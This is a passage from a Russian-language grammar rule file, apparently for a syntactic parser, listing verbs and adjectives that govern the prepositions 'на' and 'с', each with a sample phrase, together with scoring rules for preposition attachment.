rus_verbs:наброситься{}, // наброситься на еду
rus_verbs:напасть{}, // повстанцы, напавшие на конвой
rus_verbs:убрать{}, // книга, убранная на полку
rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию
rus_verbs:засматриваться{}, // засматриваться на девчонок
rus_verbs:застегнуться{}, // застегнуться на все пуговицы
rus_verbs:провериться{}, // провериться на заболевания
rus_verbs:проверяться{}, // проверяться на заболевания
rus_verbs:тестировать{}, // тестировать на профпригодность
rus_verbs:протестировать{}, // протестировать на профпригодность
rus_verbs:уходить{}, // отец, уходящий на работу
rus_verbs:налипнуть{}, // снег, налипший на провода
rus_verbs:налипать{}, // снег, налипающий на провода
rus_verbs:улетать{}, // Многие птицы улетают осенью на юг.
rus_verbs:поехать{}, // она поехала на встречу с заказчиком
rus_verbs:переключать{}, // переключать на резервную линию
rus_verbs:переключаться{}, // переключаться на резервную линию
rus_verbs:подписаться{}, // подписаться на обновление
rus_verbs:нанести{}, // нанести на кожу
rus_verbs:нарываться{}, // нарываться на неприятности
rus_verbs:выводить{}, // выводить на орбиту
rus_verbs:вернуться{}, // вернуться на родину
rus_verbs:возвращаться{}, // возвращаться на родину
прилагательное:падкий{}, // Он падок на деньги.
прилагательное:обиженный{}, // Он обижен на отца.
rus_verbs:косить{}, // Он косит на оба глаза.
rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок.
прилагательное:готовый{}, // Он готов на всякие жертвы.
rus_verbs:говорить{}, // Он говорит на скользкую тему.
прилагательное:глухой{}, // Он глух на одно ухо.
rus_verbs:взять{}, // Он взял ребёнка себе на колени.
rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия.
rus_verbs:вести{}, // Лестница ведёт на третий этаж.
rus_verbs:уполномочивать{}, // уполномочивать на что-либо
глагол:спешить{ вид:несоверш }, // Я спешу на поезд.
rus_verbs:брать{}, // Я беру всю ответственность на себя.
rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление.
rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики.
rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку.
rus_verbs:разбираться{}, // Эта машина разбирается на части.
rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние.
rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп.
rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье.
rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно.
rus_verbs:делиться{}, // Тридцать делится на пять без остатка.
rus_verbs:удаляться{}, // Суд удаляется на совещание.
rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север.
rus_verbs:сохранить{}, // Сохраните это на память обо мне.
rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию.
rus_verbs:лететь{}, // Самолёт летит на север.
rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров.
// rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи.
rus_verbs:смотреть{}, // Она смотрит на нас из окна.
rus_verbs:отдать{}, // Она отдала мне деньги на сохранение.
rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину.
rus_verbs:любоваться{}, // гости любовались на картину
rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь.
прилагательное:действительный{}, // Прививка оспы действительна только на три года.
rus_verbs:спуститься{}, // На город спустился смог
прилагательное:нечистый{}, // Он нечист на руку.
прилагательное:неспособный{}, // Он неспособен на такую низость.
прилагательное:злой{}, // кот очень зол на хозяина
rus_verbs:пойти{}, // Девочка не пошла на урок физультуры
rus_verbs:прибывать{}, // мой поезд прибывает на первый путь
rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу
rus_verbs:идти{}, // Дело идёт на лад.
rus_verbs:лазить{}, // Он лазил на чердак.
rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры.
// rus_verbs:действовать{}, // действующий на нервы
rus_verbs:выходить{}, // Балкон выходит на площадь.
rus_verbs:работать{}, // Время работает на нас.
глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина.
rus_verbs:бросить{}, // Они бросили все силы на строительство.
// глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков.
rus_verbs:броситься{}, // Она радостно бросилась мне на шею.
rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью.
rus_verbs:ответить{}, // Она не ответила на мой поклон.
rus_verbs:нашивать{}, // Она нашивала заплату на локоть.
rus_verbs:молиться{}, // Она молится на свою мать.
rus_verbs:запереть{}, // Она заперла дверь на замок.
rus_verbs:заявить{}, // Она заявила свои права на наследство.
rus_verbs:уйти{}, // Все деньги ушли на путешествие.
rus_verbs:вступить{}, // Водолаз вступил на берег.
rus_verbs:сойти{}, // Ночь сошла на землю.
rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано.
rus_verbs:рыдать{}, // Не рыдай так безумно над ним.
rus_verbs:подписать{}, // Не забудьте подписать меня на газету.
rus_verbs:держать{}, // Наш пароход держал курс прямо на север.
rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира.
rus_verbs:ехать{}, // Мы сейчас едем на завод.
rus_verbs:выбросить{}, // Волнами лодку выбросило на берег.
ГЛ_ИНФ(сесть), // сесть на снег
ГЛ_ИНФ(записаться),
ГЛ_ИНФ(положить) // положи книгу на стол
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: залить на youtube
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} }
then return true
}
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } }
then return true
}
// смещаться на несколько миллиметров
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} наречие:*{} }
then return true
}
// партия взяла на себя нереалистичные обязательства
fact гл_предл
{
if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} }
then return true
}
#endregion ВИНИТЕЛЬНЫЙ
// Все остальные варианты с предлогом 'НА' по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:вин } }
then return false,-4
}
// Этот вариант нужен для обработки конструкций с числительными:
// Президентские выборы разделили Венесуэлу на два непримиримых лагеря
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:род } }
then return false,-4
}
// Продавать на eBay
fact гл_предл
{
if context { * предлог:на{} * }
then return false,-6
}
#endregion Предлог_НА
#region Предлог_С
// ------------- ПРЕДЛОГ 'С' -----------------
// У этого предлога предпочтительная семантика привязывает его обычно к существительному.
// Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим.
#region ТВОРИТЕЛЬНЫЙ
wordentry_set Гл_С_Твор={
rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов
rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться
rus_verbs:забраться{},
rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ)
rus_verbs:БИТЬСЯ{}, //
rus_verbs:ПОДРАТЬСЯ{}, //
прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ)
rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ)
rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ)
rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ)
rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ)
прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра
rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом.
rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ)
rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ)
rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ)
rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ)
rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом
rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками
rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу
rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ)
rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ)
rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ)
rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ)
rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ)
rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ)
rus_verbs:отправить{}, // вы можете отправить со мной человека
rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам
rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор)
rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С)
rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С)
прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С)
rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С)
rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С)
rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С)
rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С)
rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С)
rus_verbs:СВЫКАТЬСЯ{},
rus_verbs:стаскиваться{},
rus_verbs:спиливаться{},
rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С)
rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор)
rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С)
rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С)
rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С)
rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С)
rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С)
rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С)
rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С)
rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С)
rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор)
rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С)
rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С)
rus_verbs:согласиться{}, // с этим согласились все (согласиться с)
rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор)
rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С)
rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С)
rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор)
rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор)
rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С)
rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С)
rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор)
rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор)
rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор)
rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор)
rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор)
rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор)
rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор)
rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор)
rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор)
rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ)
rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ)
rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много)
rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С)
rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С)
rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С)
rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С)
rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С)
rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор)
rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С)
rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С)
rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С)
rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С)
rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С)
инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара.
инфинитив:кристаллизоваться{ вид:несоверш },
глагол:кристаллизоваться{ вид:соверш },
глагол:кристаллизоваться{ вид:несоверш },
rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С)
rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С)
rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С)
rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С)
rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С)
rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор)
rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С)
rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С)
rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с)
rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с)
rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с)
rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с)
rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело.
rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором
rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором
rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором
rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором
rus_verbs:стирать{}, // стирать с мылом рубашку в тазу
rus_verbs:прыгать{}, // парашютист прыгает с парашютом
rus_verbs:выступить{}, // Он выступил с приветствием съезду.
rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят.
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой.
rus_verbs:вставать{}, // он встаёт с зарёй
rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером.
rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью.
rus_verbs:договориться{}, // мы договоримся с вами
rus_verbs:побыть{}, // он хотел побыть с тобой
rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью
rus_verbs:вязаться{}, // вязаться с фактами
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:относиться{}, // относиться с пониманием
rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов.
rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней
rus_verbs:гулять{}, // бабушка гуляет с внуком
rus_verbs:разбираться{}, // разбираться с задачей
rus_verbs:сверить{}, // Данные были сверены с эталонными значениями
rus_verbs:делать{}, // Что делать со старым телефоном
rus_verbs:осматривать{}, // осматривать с удивлением
rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре
rus_verbs:попрощаться{}, // попрощаться с талантливым актером
rus_verbs:задремать{}, // задремать с кружкой чая в руке
rus_verbs:связать{}, // связать катастрофу с действиями конкурентов
rus_verbs:носиться{}, // носиться с безумной идеей
rus_verbs:кончать{}, // кончать с собой
rus_verbs:обмениваться{}, // обмениваться с собеседниками
rus_verbs:переговариваться{}, // переговариваться с маяком
rus_verbs:общаться{}, // общаться с полицией
rus_verbs:завершить{}, // завершить с ошибкой
rus_verbs:обняться{}, // обняться с подругой
rus_verbs:сливаться{}, // сливаться с фоном
rus_verbs:смешаться{}, // смешаться с толпой
rus_verbs:договариваться{}, // договариваться с потерпевшим
rus_verbs:обедать{}, // обедать с гостями
rus_verbs:сообщаться{}, // сообщаться с подземной рекой
rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц
rus_verbs:читаться{}, // читаться с трудом
rus_verbs:смириться{}, // смириться с утратой
rus_verbs:разделить{}, // разделить с другими ответственность
rus_verbs:роднить{}, // роднить с медведем
rus_verbs:медлить{}, // медлить с ответом
rus_verbs:скрестить{}, // скрестить с ужом
rus_verbs:покоиться{}, // покоиться с миром
rus_verbs:делиться{}, // делиться с друзьями
rus_verbs:познакомить{}, // познакомить с Олей
rus_verbs:порвать{}, // порвать с Олей
rus_verbs:завязать{}, // завязать с Олей знакомство
rus_verbs:суетиться{}, // суетиться с изданием романа
rus_verbs:соединиться{}, // соединиться с сервером
rus_verbs:справляться{}, // справляться с нуждой
rus_verbs:замешкаться{}, // замешкаться с ответом
rus_verbs:поссориться{}, // поссориться с подругой
rus_verbs:ссориться{}, // ссориться с друзьями
rus_verbs:торопить{}, // торопить с решением
rus_verbs:поздравить{}, // поздравить с победой
rus_verbs:проститься{}, // проститься с человеком
rus_verbs:поработать{}, // поработать с деревом
rus_verbs:приключиться{}, // приключиться с Колей
rus_verbs:сговориться{}, // сговориться с Ваней
rus_verbs:отъехать{}, // отъехать с ревом
rus_verbs:объединять{}, // объединять с другой кампанией
rus_verbs:употребить{}, // употребить с молоком
rus_verbs:перепутать{}, // перепутать с другой книгой
rus_verbs:запоздать{}, // запоздать с ответом
rus_verbs:подружиться{}, // подружиться с другими детьми
rus_verbs:дружить{}, // дружить с Сережей
rus_verbs:поравняться{}, // поравняться с финишной чертой
rus_verbs:ужинать{}, // ужинать с гостями
rus_verbs:расставаться{}, // расставаться с приятелями
rus_verbs:завтракать{}, // завтракать с семьей
rus_verbs:объединиться{}, // объединиться с соседями
rus_verbs:сменяться{}, // сменяться с напарником
rus_verbs:соединить{}, // соединить с сетью
rus_verbs:разговориться{}, // разговориться с охранником
rus_verbs:преподнести{}, // преподнести с помпой
rus_verbs:напечатать{}, // напечатать с картинками
rus_verbs:соединять{}, // соединять с сетью
rus_verbs:расправиться{}, // расправиться с беззащитным человеком
rus_verbs:распрощаться{}, // распрощаться с деньгами
rus_verbs:сравнить{}, // сравнить с конкурентами
rus_verbs:ознакомиться{}, // ознакомиться с выступлением
инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой
деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{},
rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия
rus_verbs:прощаться{}, // прощаться с боевым товарищем
rus_verbs:сравнивать{}, // сравнивать с конкурентами
rus_verbs:складывать{}, // складывать с весом упаковки
rus_verbs:повестись{}, // повестись с ворами
rus_verbs:столкнуть{}, // столкнуть с отбойником
rus_verbs:переглядываться{}, // переглядываться с соседом
rus_verbs:поторопить{}, // поторопить с откликом
rus_verbs:развлекаться{}, // развлекаться с подружками
rus_verbs:заговаривать{}, // заговаривать с незнакомцами
rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой
инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим
деепричастие:согласуясь{}, прилагательное:согласующийся{},
rus_verbs:совпасть{}, // совпасть с оригиналом
rus_verbs:соединяться{}, // соединяться с куратором
rus_verbs:повстречаться{}, // повстречаться с героями
rus_verbs:поужинать{}, // поужинать с родителями
rus_verbs:развестись{}, // развестись с первым мужем
rus_verbs:переговорить{}, // переговорить с коллегами
rus_verbs:сцепиться{}, // сцепиться с бродячей собакой
rus_verbs:сожрать{}, // сожрать с потрохами
rus_verbs:побеседовать{}, // побеседовать со шпаной
rus_verbs:поиграть{}, // поиграть с котятами
rus_verbs:сцепить{}, // сцепить с тягачом
rus_verbs:помириться{}, // помириться с подружкой
rus_verbs:связываться{}, // связываться с бандитами
rus_verbs:совещаться{}, // совещаться с мастерами
rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой
rus_verbs:переплестись{}, // переплестись с кустами
rus_verbs:мутить{}, // мутить с одногрупницами
rus_verbs:приглядываться{}, // приглядываться с интересом
rus_verbs:сблизиться{}, // сблизиться с врагами
rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой
rus_verbs:растереть{}, // растереть с солью
rus_verbs:смешиваться{}, // смешиваться с известью
rus_verbs:соприкоснуться{}, // соприкоснуться с тайной
rus_verbs:ладить{}, // ладить с родственниками
rus_verbs:сотрудничать{}, // сотрудничать с органами дознания
rus_verbs:съехаться{}, // съехаться с родственниками
rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов
rus_verbs:советоваться{}, // советоваться с отчимом
rus_verbs:сравниться{}, // сравниться с лучшими
rus_verbs:знакомиться{}, // знакомиться с абитуриентами
rus_verbs:нырять{}, // нырять с аквалангом
rus_verbs:забавляться{}, // забавляться с куклой
rus_verbs:перекликаться{}, // перекликаться с другой статьей
rus_verbs:тренироваться{}, // тренироваться с партнершей
rus_verbs:поспорить{}, // поспорить с казночеем
инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком
деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш },
rus_verbs:примириться{}, // примириться с утратой
rus_verbs:раскланяться{}, // раскланяться с фрейлинами
rus_verbs:слечь{}, // слечь с ангиной
rus_verbs:соприкасаться{}, // соприкасаться со стеной
rus_verbs:смешать{}, // смешать с грязью
rus_verbs:пересекаться{}, // пересекаться с трассой
rus_verbs:путать{}, // путать с государственной шерстью
rus_verbs:поболтать{}, // поболтать с ученицами
rus_verbs:здороваться{}, // здороваться с профессором
rus_verbs:просчитаться{}, // просчитаться с покупкой
rus_verbs:сторожить{}, // сторожить с собакой
rus_verbs:обыскивать{}, // обыскивать с собаками
rus_verbs:переплетаться{}, // переплетаться с другой веткой
rus_verbs:обниматься{}, // обниматься с Ксюшей
rus_verbs:объединяться{}, // объединяться с конкурентами
rus_verbs:погорячиться{}, // погорячиться с покупкой
rus_verbs:мыться{}, // мыться с мылом
rus_verbs:свериться{}, // свериться с эталоном
rus_verbs:разделаться{}, // разделаться с кем-то
rus_verbs:чередоваться{}, // чередоваться с партнером
rus_verbs:налететь{}, // налететь с соратниками
rus_verbs:поспать{}, // поспать с включенным светом
rus_verbs:управиться{}, // управиться с собакой
rus_verbs:согрешить{}, // согрешить с замужней
rus_verbs:определиться{}, // определиться с победителем
rus_verbs:перемешаться{}, // перемешаться с гранулами
rus_verbs:затрудняться{}, // затрудняться с ответом
rus_verbs:обождать{}, // обождать со стартом
rus_verbs:фыркать{}, // фыркать с презрением
rus_verbs:засидеться{}, // засидеться с приятелем
rus_verbs:крепнуть{}, // крепнуть с годами
rus_verbs:пировать{}, // пировать с дружиной
rus_verbs:щебетать{}, // щебетать с сестричками
rus_verbs:маяться{}, // маяться с кашлем
rus_verbs:сближать{}, // сближать с центральным светилом
rus_verbs:меркнуть{}, // меркнуть с возрастом
rus_verbs:заспорить{}, // заспорить с оппонентами
rus_verbs:граничить{}, // граничить с Ливаном
rus_verbs:перестараться{}, // перестараться со стимуляторами
rus_verbs:объединить{}, // объединить с филиалом
rus_verbs:свыкнуться{}, // свыкнуться с утратой
rus_verbs:посоветоваться{}, // посоветоваться с адвокатами
rus_verbs:напутать{}, // напутать с ведомостями
rus_verbs:нагрянуть{}, // нагрянуть с обыском
rus_verbs:посовещаться{}, // посовещаться с судьей
rus_verbs:провернуть{}, // провернуть с друганом
rus_verbs:разделяться{}, // разделяться с сотрапезниками
rus_verbs:пересечься{}, // пересечься с второй колонной
rus_verbs:опережать{}, // опережать с большим запасом
rus_verbs:перепутаться{}, // перепутаться с другой линией
rus_verbs:соотноситься{}, // соотноситься с затратами
rus_verbs:смешивать{}, // смешивать с золой
rus_verbs:свидеться{}, // свидеться с тобой
rus_verbs:переспать{}, // переспать с графиней
rus_verbs:поладить{}, // поладить с соседями
rus_verbs:протащить{}, // протащить с собой
rus_verbs:разминуться{}, // разминуться с встречным потоком
rus_verbs:перемежаться{}, // перемежаться с успехами
rus_verbs:рассчитаться{}, // рассчитаться с кредиторами
rus_verbs:срастись{}, // срастись с телом
rus_verbs:знакомить{}, // знакомить с родителями
rus_verbs:поругаться{}, // поругаться с родителями
rus_verbs:совладать{}, // совладать с чувствами
rus_verbs:обручить{}, // обручить с богатой невестой
rus_verbs:сближаться{}, // сближаться с вражеским эсминцем
rus_verbs:замутить{}, // замутить с Ксюшей
rus_verbs:повозиться{}, // повозиться с настройкой
rus_verbs:торговаться{}, // торговаться с продавцами
rus_verbs:уединиться{}, // уединиться с девчонкой
rus_verbs:переборщить{}, // переборщить с добавкой
rus_verbs:ознакомить{}, // ознакомить с пожеланиями
rus_verbs:прочесывать{}, // прочесывать с собаками
rus_verbs:переписываться{}, // переписываться с корреспондентами
rus_verbs:повздорить{}, // повздорить с сержантом
rus_verbs:разлучить{}, // разлучить с семьей
rus_verbs:соседствовать{}, // соседствовать с цыганами
rus_verbs:застукать{}, // застукать с проститутками
rus_verbs:напуститься{}, // напуститься с кулаками
rus_verbs:сдружиться{}, // сдружиться с ребятами
rus_verbs:соперничать{}, // соперничать с параллельным классом
rus_verbs:прочесать{}, // прочесать с собаками
rus_verbs:кокетничать{}, // кокетничать с гимназистками
rus_verbs:мириться{}, // мириться с убытками
rus_verbs:оплошать{}, // оплошать с билетами
rus_verbs:отождествлять{}, // отождествлять с литературным героем
rus_verbs:хитрить{}, // хитрить с зарплатой
rus_verbs:провозиться{}, // провозиться с задачкой
rus_verbs:коротать{}, // коротать с друзьями
rus_verbs:соревноваться{}, // соревноваться с машиной
rus_verbs:уживаться{}, // уживаться с местными жителями
rus_verbs:отождествляться{}, // отождествляться с литературным героем
rus_verbs:сопоставить{}, // сопоставить с эталоном
